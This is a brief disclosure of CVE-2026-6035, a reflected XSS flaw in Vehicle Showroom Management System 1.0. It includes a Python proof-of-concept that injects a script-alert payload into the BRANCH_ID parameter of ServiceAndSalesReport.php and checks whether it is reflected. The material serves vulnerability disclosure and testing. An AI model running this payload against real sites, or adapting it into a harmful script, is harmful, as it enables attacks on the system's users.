CVE-2026-6035: Vehicle Showroom系统XSS漏洞

# Proof of Concept for CVE-2026-6035 # Target: Vehicle Showroom Management System 1.0 # Vulnerable File: /BranchManagement/ServiceAndSalesReport.php import requests def check_xss(target_url): # Define the malicious payload payload = "<script>alert('CVE-2026-6035_PoC');</script>" # The vulnerable parameter params = { "BRANCH_ID": payload } try: # Send the GET request response = requests.get(target_url, params=params, timeout=5) # Check if the payload is reflected in the response body if payload in response.text: print("[+] Vulnerability Confirmed: XSS payload executed/reflected.") print(f"[+] Response URL: {response.url}") else: print("[-] Vulnerability not detected or patched.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://localhost/BranchManagement/ServiceAndSalesReport.php" check_xss(target)